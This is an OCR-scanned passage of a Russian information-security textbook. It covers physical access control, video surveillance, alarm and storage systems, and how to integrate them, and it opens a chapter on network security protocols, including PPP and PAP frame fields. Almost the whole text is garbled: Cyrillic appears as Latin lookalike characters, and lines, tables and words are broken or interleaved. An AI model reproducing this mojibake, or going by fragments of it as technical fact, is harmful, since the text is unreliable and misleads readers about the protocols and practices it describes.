i Id,uemndmxaum/ay'remﬁmxam cyOnekTa npomso;x}:;;ci
HA OCHOBE CTAHJADTHHIX NPUHIHIIOB, PaccMOTPEHHBIX HaMH pa
e 11. |
o Kak yxe yHOMUHAIOCE NPOTOKONEL wreHTHGUKATAN MOTY!
2 Gonbin : TOrO,
GbiTh pa3OuTH! HA TPH GonbIIHE KATErOpPHH B 3aBHCHMOCTH OT
yeM OCHOBAHA HACHTH KA. 3
" 1. TIpoToKkobl, OCHOBAHHBIC HA n3BecTHOH obenM croponzLT
HQOQI\:!M Taxo#t vmopmarmei MOry™ ObiTh TAPOJH, .TIPI(;IHbll
l:IJISHTﬂd)m(aLU'IOHHLIe somepa (PIN ot anrimiickoro personal iden 1)
€ KOT(
fication number), CCKPETHHIC HIH OTKPHITHIS RJ‘!IO‘[P:(,O?ZB.HH
PHIX IEMOBCTPHPYCTCA BO BpEMA BBILIOTHCHHSA IPOTO B;Iq.ecme )
¢ HEKOTOPHIC QU ,
2. TTpoToKOIB!, HCTIONE e
GOpHI, C OMOMIBIO KOTOPhIX ¥ TPOBOAMTCH memcbnxa:au:.n Tan
npuGopoM MOXET ObITh MATHUTHAS WM yrf'xmmmyanbﬂ o
KOBAs KapTa, WM npubop, TeHEPHPYIOIIAN MEHSIOIHEC!
HeM [aposii.

co
¢ dHU3MYECKHE NApaMeTphl,
3, TIpoToKoiIbt, MCTIONb3

CTaBJIAIO! HaIJICXKHOCTD . B
II[ME HEOTHEMIIEMYIO TIPH ;xoxasmnaxo:;i:l !
KAECTBE TAKOBHIX MOTYT BRICTYMATh MOJIHCH, OTNEYATKH :
XApaKTEPUCTHKH ro10Ca, FeoMETPHA pyKH H T. A.

i MTUIHOCTH 0
YuuThBasg CrEMHPUKY YyeIOBEICCKOH s Moxmfxgxi ’
3aTh, YTO CHCTEMA KOHTPOH JOCTYTA, opnema?:earmmalf 1::;1 HM(:
exHa, TAK KaK M - .
6op KOAa, HEAOCTATOYHO HA ,
}1:; Tgmcfn;mo CTAHOBMTHCS MHUPOKO HIBECTHHIMU gepe3 HEKOTOPO«
BpeMsl, HE TOBOPA YK o6 obimeM KOJAE AOCTYIA.
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Ilpu BuiGope ghusuueckux npubopoe cieayer AOMONHHTEILHO
YUMTHIBATh CHCAYIOMHE NAPaMETPhI:

— M3HOC (MarHWTHAs IOJIOCA CTHPACTCS C KAPTOYKH IPH MHO-
FOKPATHOM CUMTEIBAHHH, SHEPTOHE3ABHCHMBIE SJICMCHTH HMEIOT OT-
paHHYCHHBIH CPOK XPaHCHUA/MCHIONL30BAHMS);

— CKOPOCTh Npoxona (MPHKIABIBAHME IEMEHTA K CUHTHIBA-

TEMIO WM NPOTACKMBAHNE/BCTABKA KAPTOYKU B CYHTHIBATEND TPeOy-
0T OLPEAEICHHOO BPEMEHH);

— CTOMMOCTb;
— BO3MOXHOCTh HaHeceHus (ororpadnu BragensLa;
— NPOYHOCTH Ha BO3MOXKHEIH H3TOM/HOBPEIKACHHUE U T. IT.

Tepex npunsTHEM penieHHs O NPHOOPETEHUH TOTO HIIM UHOIO
cpeacTea Guomempurecrkoli udenmupuxayuy, HeobXOMHMO O3HAKO-
MHTCA C MNOCIEAHEH MMEIOIREHCH CTATHCTHKOH N0 9acTOTE H BEPOTAT-
HOCTH JIOKHBIX cpaGateiBanuii i 0xHbIX oTKasos. Kpome Toro, npn
HCTIONIS30BAHAH TaKHX YCTPOHCTB, CIEAYET YUHTHIBATH KYJIbTYPHBIC
TPaAMLIME H NEPCOHANLHEIC NPHMBRIYKH — AT HEKOTOPHIX JHOACH,
HANPHMEP, HEBO3MOXKHO JIPHKACATHCA K MOBEPXHOCTAM, KOTOPBIX
KacaJICh HECKOJLKO JECATKOB HIIH COTEH HEJIOBEK NEPER ITHM, APY-

rye Moryr fosrca, 910 CKaHEPH! CETHATKM 1433 OKAXKYT HCraTHBHOC
BJIMAHHC HA UX 3PDCHUC.

Tlpn nmpoexTHpPOBaHNHE CHCTEME! KOHTPOIIA IIEPEMEINEHHS ClIc-
AYeT Y4HTHIBATL HECOXOHHMMOCTD, NPHMEHERHA K CySnexry emuuoi
HOJUTHKY JOCTYIIA, BHE 3aBHCHMOCTH OT TOr0, B KAKOH 9acTH TeppH-
TOPHH 3aNPaIdHMBAETCH JOCTYIL. JTO O3HAYACT, UTO, BO-MEPBBIX, NO-
NHTHKA J0/DKHA OBITH CO3JaHA M COXPAHEHA B OJHOM MECTE A
obecnieueHus eauHOOOpa3ys TPHMEHEHHA, 3, BO-BTOPHIX, CAMHAs
NONUTHKA JOIDKHA OBITH pacnpeseseHa Ho HECKOIBKAM YCTPOHCTBaM
A4 06eceHeHus NPOAOMKCHMA paboThl IPH BHIXOAE M3 CTPOA LEH-
TPANBHOIO CepBepa NOMMTHKH. JIOMOMHHUTENLHO ClIEAYESY Hpeny-
cMmorperh OpMAT PErHCTpanHH HEPECMEHICHHM CYOBEKTOB B 3JIEK-
TPOHHOM JXYPHAJIC, BO3MOKHOCTH AHANM2A JKYPHANA, 4 TAKKE €ro
HHTErPalMIoO ¢ APYTHMH JKYPHAJIAMHM — HATIPHMED, € XXYPHAIOM
ZOCTYyria B KOMINBIOTCPHYIO CCTh. ABTODH3ALHOHHAA IOJHTHKA
JIOJDKHA HE TOJBLKO ONPEACIATH, PA3PEINCH HIM 3alpelicH ITPOXOX
cyOnexra, HO H Jary, ACHb HEACTH H BPEMS CYTOK, a TAIOKE HAIpas-
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JICHHE MPOXOoAa (HANpHUMEp, 3aIPET BHXOAQ, €Ciu He PHKCHPOBAICS
Bxox). Kpome Toro, B cucreme HEOOXOOHMO IPEIyCMOTPETh ONOBE-
MICHHE HA 3KPaH JEXYPHOTO COTPYQHMKA (WM APYTHE BapUAHTEHI) B
Clly4ae, €ClIH MPOXOAHAS ABEPh OCTACTCS OTKPHITOH B TEUCHHME NPO-
MEXYTKa BpeMEH# OOIBINEro, YeM HEOOXOAUMO IS IPOX0AA.

KenarensHo enie y4ecTh H3MEHECHHAS NMONIUTHKH AJI1 MACCOBBEX
ABJICHHH — HTHOPHMPOBAHUE 3aNPETOB H OTKPHITHE JBEPEil B caydac
NOKapa WIM WPHOPHPOBAHHC DPA3pCIICHMIH W 3aKpHITHE ABEped B
ciydae OOHapyXeHHS 3JOYMBIIUICHHHKA. Taike cnexyer obsasa-
TEIbHO MMETh MACTEpP-KIIOUM (KIMoYn Oe3yClOBHOrO INMpOXOAa) Ha
cmy4aii ¢OOEB CHCTEMBI, HO, ¢ APYro# CTOPOHHI, CTPOrO YHUTHIBATH
HX XPAHCHHE H UCTIOTb30BAHKE.

3. Cucrema Buneonaémonenus
TleperiM 3TanoM ycTaHOBKM NMOAOOHOH CHCTEMBI ABIAETCS O
peAeneHue e¢ LENei: KOHTPOb MOAXOA0B K IEPUMETPY, MPOXOOS,
MOBEJACHMA PaCOTHUKOB B NOMEINECHUAX. B 3aBHCHMOCTH OT 3azau
CHCTEME BHASOHAOMIOACHUS OTPEOYIOTCS PA3HBIC THIHI M KAMEp H
Jpyroro obopyaoBaHH.
3areM HEOOXOAMMO ONPEAECTHTD:
— JeiCTBHE HA KaMEpPy CIICKEHNA CO CTOPOHBI OTKPHITOH cpe-
Abl (A0S, CHEra, BETPa, NELIH);
~ OCBEIICHHOCTb, IUIOMANs H OTKPHITOCTh TCPPUTOPHH (BO3-
MOXHO, IPHAETCA YCTAHABIMBATh HCTOYHMKH CBETA, ACMOHTHPOBATH
MOTEHIMATIBHEC VKPHITHA U T A.),
— HCIONB30BATH CKPHITYIO WM OTKPHITYIO KAMEPY;
— Oyjer nu 3aMETHO ¢ BpauieHue (€CaH KaMepa BpaIfaomas:
€4 ¥ HE CKPHITA);
— HYXHO Id BHAETH TOIBKO OOINME KOHTYPH OOBEKTOB MMt
TAKKE M ACTATH (YBENHYCHHUE H300paKeHU);
— JOCTaTOYHO JIH YepHO-Oenoro n3obpaxennus uimm Tpedyercy
L{BETHOC;
~ HE CTaHET JIX CaMa KaMepa 00BEKTOM NIOXHIIEHHA, €CITH OH
YCTAHOBJICHA B JOCTYIIHOM MECTE ¥ BHE OBICTPO# AOCATAGMOCTH CO
TPYAHHKOB CITyx0b1 6e30nacHOCTH;
— Kak Oyaer nmpocMarpuBaThCa H300pakeHue ¢ KaMep — 1o

O9YCpEaAH, IO HECKOJBKO, BCC Cpa3ly,
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Ho Havana ycranosiu obopyaoBanus nago NPOTECTHPOBATH
OTACTBLHBIC JK3CMIUIAPHL Kamep, MOHMTOPOB, BHICOMAarHHTOPOHOB
Bosmosxmo, norpe6yiorcsa pasmraHbIe THON 06OpyaoBaHmMs — cxa—.
XeMm, [Jepro-Oenpie/CraTHanbie Kameper i mabmioaeHns 3a nepa-
MCTPOM M LBETHHIE/BPAINAIOMHECS /TS Habmonenus 3a paGoTHMKa-

”ECJII/I TPeOYeTCS BECTH 3armich H300paKEHMS, TO XKETATETBHO
OTBETHTE JOMOHATENLHO HA PSX BOIPOCOB:

~ Oyaer nm 3armuceBaTe

Ca m3obpaskeHne co BCex Kamep u
TOABKO C HEKOTODEIX; P
o — Oyxer 1w 3amucs Bectucs TIOCTOAHHO MM TOMBKO B Cllyyae

cpal Tbx%am CHTBaNE TPEBOTH B NPEAENAX JOCATAEMOCTH KaMepsi;

~ OYACT JIH BSCTHCH 3aNHCh HEMPEPHIBHO MIH BO3MONHA, JHC-
KpeTHas 3amCh (Kanp B ceKyHAy/nBe/TpH);

— HCOOXONMMO JTH HAKIIANEIBATE Ha H300paenne aatTy/spems;

— HAZO0 J14 3AMUCHIBATH 3BYK; ’

~ Oyaer nm 3anuce wupoBoii MM aHATOroBoiL.

4. Cucrema oxparnHofi (moxkapHoii) CHIrHAJIH3AMH.

Pz syibopa Tana (a BOPHCC A&XC — THIIOB) OXpanHGH curia-
AN3ANKA CACAYET ONPEACHHTD, KAKHE COGLITHS TpebyroT nogavu cur-
Hana Tpesord. Bosvoxuo 310 cotpscanve mum TIPOIOM — st
3abopos u cTen, xacanme M IpUOIIDKEHHE — TS Orpan, Hapymie-
HME LETOCTHOCTH — JUisl OKOH, HACTYNIRHHE — 1 OTKPBLITOrO Npo-
CTPAHCTBA, H3MCHCHHE OObeMa — s 3aKPRITOrO HPOCTPAHCTBA,
orxpmmels‘?.xpmme ABEPH, NBIKCHHEC — JUIH PA3TMYHBIX Y9aCTKOB
OXpaHseMOH Tepputopym. Jins noxapHEX rarumkos TIPU3HAKAMH
CcpabatsiBanus GyxyT sapsicHue NOMENICHUA W/HIH NOBHINCHHUC
TEMICPaTypsl. JloporkM, HO ZOCTATOMHO HaZexHEM pemenuem Gy-
ACT TAKIKE NETEKTOP IUIAMEHH, KOTOpHIH ONIPEACIAET HCTOYHHK OTHSA
o an])pakpacnoﬁ SHEPI'HH TIAMCHU HJIH 110 €10 Iy IbCALHH.

Tlepen npuoSperenuem KOHKDCTHOrO BHAQ JaTYHKOB HEOOXO-
AHMO O3HAKOMHTBCS CO CTATHCTHKON KatuecTsa pabors yeTpoiicrsa.
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Ocobexroe BHEMaHHe CIeayeT 00paTUTh HA MIPOLICHT JIOKHOTO Cpa-
6aTHIBAHNA OT IOMEX ¥ HECPaOATHIBANHS NIPH PEATHHOM HAPYINCHHH.
Boamoxno, o6opyaosanue npuaeTCs HNPOTECTHPOBATh CAMHMM CIIC-
HMAMCTaM cryxObl Ge3omacHocTd MO0 MOMCKATH PE3yIbTaTsl HE-
32BHCHMBIX SKCIIEPTH3.

Ipn npoEKTHPOBAHMK CHCTEMBI OXPAHHOM CHIHAM3AUMH Clic-
AYET Cpasy NPHBA3HIBATE CPaORTHIBAHHE CHTHANA TPCBOTH K ONPEJIE-
JEHHOMY CLICHapHIO nosenenms Bcel cuctems! GesomacHocrn. Ha-
npHMep, cpabaThiBaHME JATYMKA ABIWKCHHMS B HOYHOE BPEMS OFHO-
BPEMEHHO BBI3LIBACT IOBOPOT KAMEPHI B CTOPOHY AATYMKA, MEPEXO
3anMCH BUACOMOTOKA C KAMEPH C JHCKPETHOTO HA HEMPEPHIBHEIN
pexUMEI, ONOKMpoBaHME IBepeill MPOXOJa M MOJAYy CHrHAJA HA
nynsT oxpassl. TlokapHeie JaTIuKu CleAyeT HPUBA3LIBATE K CHCTC-
M€ ITOXKAPOTYLICHAS M FPOMKOI CBA3M ONOBELICHUS MEPCOHANA.

Tawke nyyine uCoONb30BaTh AATYHKH C BO3MOXHOCTHIO TOY-
HOrO OMpeJeNeHus OTIPAaBUTEIA CUIHAIA M, CICHOBATEIBHO, MECTA

NIPOHCIIECTBHA.

5. Cucrema xpaneHHs.

Cucrema xpaHeHHA (XPaHHIHING MATEPUATBHHIX LICHHOCTEH )
CHJIHO 33BHCHT OT Tuna opranmszauud. OgeBuaHo, 910 a1a Gawka,
NPOU3BOAAINETO ONEPALNY ¢ HATWYHHIMH, TPeOYIOTCA ONHH THIIM
ceitdos, a Ang KoMOaHUM O pa3paborke mpOrpamMMHOro obecredc
HUS COBCeM Jpyrue. B moboM ciyuae HEOOXOIMMO OTIPEAESIMTLCS ¢
¢usngeckuM 0GBEMOM XPAHHUMEIX OOBEKTOB, YCTOHYHMBOCTHIO Xpa
HITMINA K GU3MIECKOMY WM DIEKTPOHHOMY B3JIOMY, MOXKAPOYCTOH
YHBOCTH, HEPECHOCHMOCTD, CKPHITOCTE MOHTAXA.

Tatoxe HEOOx0aMMO 0653aTh NEPCOHAN CAABATH B XPAHFIIHIL

BCIO BOXHYI0 HHpOpMALEIO.

HuTerpanus cHcTeM KOHTPOJIS.

Tlpu paccMOTpeHHH BCEX KOMIIOHEHTOB CHCTEMBI (PU3IHTecKos
Ge30macHOCTH Cpa3y BO3HHUKACT BOIPOC, & HE HHTEIPHPOBATh IIH BCC
310 00OPYAOBAHHUE B CAMHBIN KOMILTEKC?

TlonoxurenbHEIE OTBET HA HETO HE TaK YK U Oe3ympedeH, Kan
MOXKET TMOKA3aThCSA C [EPBOrO BICAAA. 1epPUTOPHANLHOE pa3Hec:
HHE OTACILHBIX AATYMKOB M LEIBLIX MOJACHCTEM, KOTOPOE BCEr/ia
HMMEET MECTO B PEabHbIX CHTYALMSIX, HOAHHMACT IPH MHTErpHpOn:
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;1;1: y;irl};):@ TaKylo BaxuHy1o npobieMy, xak CBs3p. Boamoxmo, yus

JICHHUKA, KOTODHIM SBIICTCH, HAUpUMeEp, yxe nonasumii

H4 TCPPMTOPHIO COTPYAHHK, Gyxer Topasno npome BuIBECTH u3
CTPOst CHCTEMY CBSI3M JATYUKOB C LUEHTPOM CHTHAIM3ALHMH, YeM

TarbeA Kak-1u60 o6ManyTh cam maTaux. , -

3aecs creayer cuenars Hebonmbmoe orcrymienne, BeiBesienne

H3 CTPOS IHHHM CBS3H JaT9MKa ¢ UCHTPOM HITH CaMOr0 JaT4MKa, Kak

UCHb 3NMOYMBIMNECHHUKA, 3aBAUCHT OT TOrO, KaK cxond)m‘ypnpo;;aua
cucrema. HanGonee mpocroi TPHMEP — JaTIMK OTKPHITHA NO:

(msepu). Kak somken sectu ceGa 3aMOK B Cliyuae, eciu ,uaTllrg:c ?;J;‘:

mn;ﬂn; ygfeﬁ cl.:.) :;xnyqae SEMACTPACEHHs WIH 1OXApa — Beap B
MOXNET OKA3aTHCA 3a6NOKHUPOBAHHLIM B 31a-
SHSTHB'I TaxuMm o6pazom, PCIICHHE JOJDKHO yUHTHIBATE crienupuky pa-
Momg})l:ﬁ:ﬂfﬁggiﬂm H Apyrae napamerpst. Kpome toro, Bos-
oo, DCTATCTEOBAT BMEIIATCNBCTBY 3/I0YMBIDUICHHUKA ¢ [O-
TBHBIX Mep. B Hamem: cirywae ¢ naramxom Npox0-

Aa — 370 MOXeTr GbiTh QHTHBAHAANBHBIR KOXYX, BUACOKaMe)
xomp%nem HCIIONB30BAHYSA AATYHKA M T.IL. pae

CTECTBEHHO, Cy

arme— » CHCTEMA C GAHHBIM LEHTPOM 0BpaboTin U IpH-
;G;;ng:rcﬂ;c i—giigu:mm TOpasxo ACICBNE APyrux, HO crouT 3any-
MaTECH, 2 TipaBAana 31a sxoHoMus. MaeansHeim u, HaBep-
:;u, CAMBIM JOPOTHM BADHAHTOM JBISCTCE YCTAHOBKA HA MeCTax
cmsiancmn:; T:(.) r;onno@ymcunonanmmx, CHCTEM MOHMTOPHHIA U
amM3aImy, OCIMHCHHBIX MHMOPMALMOHHBIMU KaHanamm ¢

§o6cmemmc QILTCPHATHBHBIC KAHAIE OMOBEICHMS SaHHTEPeco
AHHEIX i
pa JHI BOBHE NIPESANDPHATHS (Hanpumep, OPTaHOB OXpaHHI mpa-
opwma;3 HIIH PE3EPBHOIO BHELIKEro LCHTPA CHIHAMM3ALMM yape-
xc.z(ennx‘)‘. Kpanﬂega CIy4ae, BO3MOXHO UCTIONb30BAHME FPOMKOTO-
BOPAIICH U CBETOBOM CHrHANMIAIMMY.
exore Kpome Toro, npu o6seauHenHy DaTynKoR H Cayx0 puznue-
KOHTPOZA CICAYET 3aAyMaThCHA, CTOHT Jim COBMEHIATh CeTh
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yhpaBieHus cucTeMoil 0e30macHOCTH ¥ OO0 KOMIBIOTEPHYIO
CEThb NPeQNPHATHSA WIH HEOOXOAMMO Pa3HECTH 3TH ABa mH(opMaly-
OHHBIX TPOCTPAHCTBA. JIENO B TOM, YTO B OONBINMHCTBE OpraHH3a-
IMH aIMUHHCTPATOP KOMITbIOTEPHOM CETH ABJAETCA €CIH HE IIAPEM H
Gorom, TO, BO BCAKOM CJIyJac, HMEET DACIIMPCHHBIC IpaBa No
yrpaBiaeHH0 HHGOPMAMOHHEIMU CHCTEMaMH U oObekxramu. [leiicr-
BUTEIILHO JTH PyKOBOAWTENb OPraHU3aIMH XO09YCT, YTOOB CHCTCMHEIH
aJAMUHHCTPATOP HMEJ TAIOKE M BO3MOKHOCTh YIPaBIeHUs (MIH IO-
TCHIMATBPHOr0 BHECCHHUSA MOrpemHocTe B pabory) cucremoit dmsn-
gecko# 6e3onacHocTH?

B 3axmodeHHe X0UETCS CKa3arh, YTO MOCIE TOTO, KAK BCE TH-
ne 00OpyAOBaHHMA B 3aBHCHMOCTH OT TpeOyemelx 3amad OyayT Bh-
Opan:, IOCTABINME CMOHTHPYET M YCTAHOBHT CHCTEMY M HOACHCTS-
MH, Ha IWIeuH CayxObl 6e30MACHOCTH JIDKET TOKKHE rpy3 o mphe-
My cucTeMHl B akciuryarampo. Heobxoxumo Oyaer nposeputs pabo-
TY KaXKAOH eAMHMUBI 000PYAOBAHMS, KAK IO OTASILHOCTH, TaK H IIPH
cTpeccoBOi Harpy3ke (HanpHMep, paboTy CHCTEMBI YIIPaBICHHS A0C-
TYIIOM TIPH MacCOBOM BHIXOJC COTPYAHHMKOB M3 37aHHsA), cpabaTsiBa-
HHE 3arUIAHHPOBAHHEIX CLEHAPHEB, KAk MO OTHEIBHOCTH, TaK H BMe-
cre (yro OyzmeT, €CIM MOCTYNHT OXHOBPEMEHHO CHIHAI 3MOYMBIII-
HCHHOTO BTOPXKEHMA, ONOKMpYIONMii OTKDHITHE ABEpEH M CHIHan
TIOKAPHOM TPEBOTH, OTKPHIBAIOMMI BCE ABepH). BO3MOXKHO, IIpH Ta-
KOM TECTHPOBaHMH OyJeT OOHAPYKEHO, UTO KaKHe-JIN00 MEIOTH TH-
13 AOBOAYHKOB NPHUHYIAUTEIHHOTO 3aKPHITHA ABEPEH O yryme-
HbI, XOT 3T0 Y)K€ MHHYC KOMIIAHWH-TIOPAXIHKY IO YCTAHOBKE CHC-
TEMBI.

OrMeTuM eme mapy BaXKHBIX MOMEHTOB. Bo-niepshIX, eme pa3
YOOMSIHYTH O TOM, YTO CIEAYET NPEAYCMOTPETH BOIMOIKHOCTh HHTE-
rpamuy cucTeMsl 6€30NaCHOCTH C APYTHMH CHCTEMaMH, IIyCTh Jaxke
B pexxume off-line. Hanmpumep, Oyaer nonesHo cpaBHMBATH kKypHan
JOCTYIa B ABTOMATH3UPOBAHHYI) CHCTEMY IOAB30BATENA C €ro pa-
6ogaero mecta ¢ GaKkToM ero peanbHOro (PU3MIECKOro IMPHCYTCTBHN
Ha MECTE N0 XYPHAIY CHCTEMbI YIIPaBICHHA JOCTynoM. Bo-BTopHIX,
nepcoHany ciayxOnt 6esonacHocT A 3hdexTHBHOrO HCIOIb30Ba-
HUS HOBOM CHCTEMBI 0€30IaCHOCTH CICAYET MPOHTH COOTBETCTBYIO-
mee o0yuenue ¥, BO3MOXHO, cepruduxarpnio. Kpome Toro, and ae-

194

- A e

n;ypmx CMCH CHCTEMEI, MOMeET GbiTh, NpHaeTCs IIPEAYCMOTPETH OT-
ACIBHBC TpeOOBaHM No $usnmaeckomy n NCHXONOTHYECKOMY 3A0pO-

BbIO, MOCKOJNBKY CMOTPCTH H
CCKONBKO 4YacoB MOAPAX B MOHI
’ OHUTOPEI
BHACOKAMED — 3a/a9a HE U3 TErKHx, P

e Wrax, sanauy oBecneucrus drsmaeckoit GesomacocTn Myt
Aommm, HO 9T0 A€NaTh, €CHM 37OYMBIILIEHHHK Bee e MOy qmn
CTYI K KOMITIbIOTEpAaM HIIH IIPEAABACMON 110 CoTH HHGopMaIH

mc,ryﬂip;g:‘:; ;Hact)nmm KOMIbIOTCPa OT HECAHKLMOHHPOBAHHOTO
roory nOAPOGHO Ghimm PaccMoOTpeHs1 Hamu Bo BTOpOH
TIPH H3YYCHUH KOHCOMBHBIX aTak. 3mech umm OTMETHM, Y4TO
KENATENBHO HHTEIPUPOBATL METOAK 3AMHTE KOMITbIOTEpa B cx:me—
My GesomackocTu TIPCAMPHATHA W DPERYCMOTPETH BapHaHTH pea;
POBaHHA Ha GAKT oCyImECTBICHHS KOHCOJIBHBIX aTaK. peane

A 118 nporusoneis
CTBHSL BTODXKCHWAM B IPOHECC
uadopmarm 1o cern HCHOME3yI0TC  CeTOmol G

% IPOTOKONBI CETEBOH Ge3
" OmzC-
OCTH # aBTOMATHIHPOBAHHKE CPEACTER 6esonacHocTH, KoTOpNIE MBI
paCCMO‘IpHM B CACRYIOUTHK riianax. )
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T'JIABA 15.
Honnraxa undopmannonnoii fesonacnocru.
Iporoxosus: cereroii Gesonacuocru.

3apaun npoToK0I0B cereroii GezonacHoCTH. _—
Kak HaMm M3BECTHO, MEPEA TEM, KaK DPHUMCHHTH xcaxga °
MEXAHI3MBI 0€30IaCHOCTH K O0BEKTy WM CyOBeKTy, ﬂeongfezhr:rﬂu; —
€ro OJHO3HAYHO HACHTH(OHIMPOBATS (TO €CTh Y3HATH ex(*:{ :): N
vH)OPMAUMOBHOE HAMMCHOBAHME M yOeauThCH, trroqe —
COOTBETCTBYeT  OOBEKTY/CYOBEKTY), WIH, HHA
OBATD. ‘ —
amnrgm nepBast 3a,11a‘15a nporroxong;é S:s:);az:fgggo ;ez
menmudurayun yoaneusozo ofvexma iy ma (e :
::Iec}'lrn;umﬁ mfnu npiuecca). TlpaxTueckn BCE NPOTOKOMHL Hec(};r'rol[;c :’:;S;
ayreHTHHKAHIO, KaK OHY U3 dbynxouii, Ho ects pxn(PnApP wonon
NpEAHA3HAYEHHBX CHICLHATBHO A ayremndn;l/c;nn;x .
u Bx noasuael; RADIUS, TACACS, Kerberos, S/Key).  wbeone
Creayromas 3aaua MPOTOKONIOB O€30BACHOCTH - obecne
YumMb 3aUUMy UHQOPMAYUYU NPU NPOXOHCOEHUYU NO ka:m 4 conn
T.€. COracoBaTh Ka mubpoBaHud, 3amudposaTs AFOBO /8 1o
K& OTNPABICHHASA, Pacm(POBaTh B TOUKE MOXYICHHUS. m;;me!mm
Eroenenn wosen OSL s TCPID. Sro samte - eimasmn wo
OTHOCHTE/ILHO MOJEIH WU . LT, T
BRIOOpE KOHKPETHOH MOZENH Oe30MacHOCTH, TaK KaK o
cTp HHGOPMALHH OCTACTCA BHAMMON IOCHE KP
ﬁ:;?qﬁ%qjﬁpa&m?n p(a;xpeca OTOPaBUTEIA ¥ MONydYaTend, APy
i Cﬂymeﬁlyl[z: m@{:’;ﬁiﬂ“ﬂb MPUKIANHOIO YPOBHA (MEXAaHH3MLI
mmbpmH:\npn;m nepp;xmcax KOHKDETHOT'O 6n3ﬂec—npnno>xennsx HIH c;ra(z:
J3pPTHEIC MPOTOKOJIL HNPHKIAKHOrO YPOBHA, TaKHUE KaK d)HoI'MaHIP o
TABIIIOT B OTKPHITOM, HCHH(POBAHHOM BHAE BCIO x«(x:(mp -
KOTOpasi HeoOxomuMa JuiA paboTsl HIDKHHX YpOBHE Ho\ )eane;ly
IP-agpeca, nocnenoBarTesHEIC HOMEpPA YIAKETOB H T.IL). y
NB;[OMMPG 970 372 WH(POPMAITS OCTACTCH BUAUMON H, €CIIH OH:
e ’ OMHOMY
B TAKOM BHJE JIOKANBHYIO CETh, TO 3TO AACT BO3M
;[J?(I:uyszrmem{mcy HEKOTOPHE JAOIOMHUTECIHHBIE CBC,ZICHPISI(EO’I’IOII(I);:
norud cetn (DO azpecam), O paboTAIOMUX MPHIOKEHUAX
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TaM) U 1. 1. [porokonsr TPaHCHopTHOro ypoBms (SSL, Secure Shell,
SOCKS) cxpuisator KapTuHy paboTsl OTaEaRHBIX TIPHJIOKEHHH, HO
OCTaBIstoT MHdopMaumio a5 ceresoro YPoBHA. MHorHe nporokons:
CCTCBOro uiu noaceresoro yposns (IPSec, L2F, PPTP, L2TP) moryr
CKPBIBATD:

~ 760 TONbKO aHHEIE, TIPUIICAIHAE OT NPOTOKONa BepxHEro
YPOBHS (TpaHCHIOpTHOTO), 0cTas IS BHIMMBIMH agpeca oTrpaBuTes
H TIOITy™aTe/ s U HEKOTOpyIO APYry1o HubopManmio;

Hexoropsie nporoxosst H3BECTHBI HE TONBKO CBOECE byukiHo-
HALHOM Harpyskoif, HO u 3alavaMu, KOTOPEIE OHH pemaror. Cka-
XKeM, SSL — 310 ze-thakro CIIOXKHUBIITHCS CTAHAAPT 3AIMUTHL HHTEp-
HCT-COCAMHCHUI, B TOM unche TIPH MCNIONB30BAHMU CHCTEM OmaTy
0 mIaCTHKOBBIM KapTam. Cepsep nporoxona SOCKS, o6ecrneun-

TIOB30BaTEMO ayTenTUudHIMpPOBATL Cefs (wanpumep, BBOAMTE ma-
POJIB) HIb OHAN DI, 1IpH BXOZE B CucTeMy, a nanee T0JIy4aTh 1po-
3pauHbIif JOCTYN (B pamkax cBoux IPaB) KO BeeM pecypcam cetn —
MCXaHU3M TOMyYHN CrenmanbHoe Ha3sanue SSO — single sign-on
— «OJHH BXOX».

Cymecrsyror AOTIONHATEIBHBIE TIPOTOKOITHI, OPHEHTHPOBaH-
HBIC Ha BBINOJIHEHHE CIICLHATLHBIX 3anaq, Taxue xak X.509 — po-
TOKONl WH(POBEIX ceptudukaros, YKaSLIBAIOMKK, KakuM o6pasom
CyOBeKThI, HCNIONB3YIOIME B OTKPHITOI Cery MCXaHH3MBI aCHMMeT-
PHIHOH KpuIrTOrpaduy, KomKHL PaClpOCTPaHsTL CBOM OTKpHITHIC
IIIOH Y9€PE3 eHTPHI Ceprudukaimym (CA — certification authority).
LDAP (Lightweight Directory Access Protocol) — NpoTOKON, pery-
JHPYIOUHIE XOCTYII K JaHHEIM 06 O0BeKTax u cyGpexrax JAaHHOH 30-
Hbl ynpasienus (nomeHa, Ciryx0BI KaTanora u . IL).
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PaccMOTPHM HECKOABKO IPOTOKONIOB CETEBOR Ge30MacHOCTH.

Point-to-Point Protocol.

TIporokon PPP He OTHOCHTCA K MPOTOKONaM G€30MacHOCTH, 2
CIyXHT A1 0OECICICHHS Ay TeHTHHUKAIUM B CETAX, OCHOBAHHEBIX Ha
Tene)OHARIX THHUAX C HOMOIIBIO CICIHANBHEX OPOTOKONOB, LA
KOTOPBIX OTBEACHH! CrieLHanbiEe GaliTsl B xaape PPP.

Crpyxrypa xanpa PPP.
K OJTLHAS
Baiir | Baiir | Kourponsneti | Jea 6adma Jlannsie nom;mnm
thnmara| agpeca Gaiir npomoxona XAZIOB

Password Authentication Protocol.

Jlassmii npotokon — HauGoaee MPOCTOH U3 NPOTOKONOB NOA-
TBEPAICHHS YAAICHHEIM CyOBEKTOM CBOCTO HACHTH(HKATOpA A
00BEKTA, TIPEAOCTABIISIOErO PECYPCHl VLA HCTIONB30BAHHA. Ayrten-
TH(UKALHA TPOHCXOANT 32 ABC HTCPALUH. Tpu uCHIONMBL30BAHEH Pf\P
(Password Authentication Protocol) 8 none nporoxona («/{Ba Oaiita
nporokona») xagpa PPP  yka3ssiBacTCs COOTBETCTBYIOINCE PAP-
apaseane 0xC023, mone JaHHbLIX pecOpasyeTcs B 4ETHIPE AOTIOMHH-
TEMBHBIX MO,

Crpyxrypa nons «Jlaussie» kaapa PPP

Kon Hnerrnuxarop Jomasa Tapasic

Tlpu 3ToM none «Koma» ykassiBacT Ha CJEAYIOMHE BOIMOKHEIC
Tunsl PAP-naxera.

Kox = 1: AyrenTrdHKaHOHHBIN 3a1IpOC.

Kon = 2: IToATBEp)ACHHS ayTCHTADAKALMH.

Kox = 3: Orxas B ayreHTHOUKANMH,

IMone «MnenTAduKaTop» O0CCIIEYHBACT COOTBETCTBHC IAphl
3anpoc/OTBET (XOIDKEH MEHATHCA MPH KAKAOM HOBOM ayreHTHdHK-
IMOHHOM 3anpoce).

ITone «J{miHa» yka3eBaeT COBOKYIHYIO JTHHY BCCX HCTHIPEX
noJecH.
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Hone «launrie» comepxur aanmeie nakera. (s ayreHTadu-
KaIHOHHOTO 3anpoca OyJeT IMETh CACAYIOMHH BHA!

Crpyxrypa mons «{aunnnie» PAP nakera-3anmpoca

Joana unerrudmxaropa | nesradmxarop | Jimra mapons | Hapoms

. Ilaker ayreHTH}HKAaHOHHOrO 3ampoca OyAcT NOCHUIATHCH
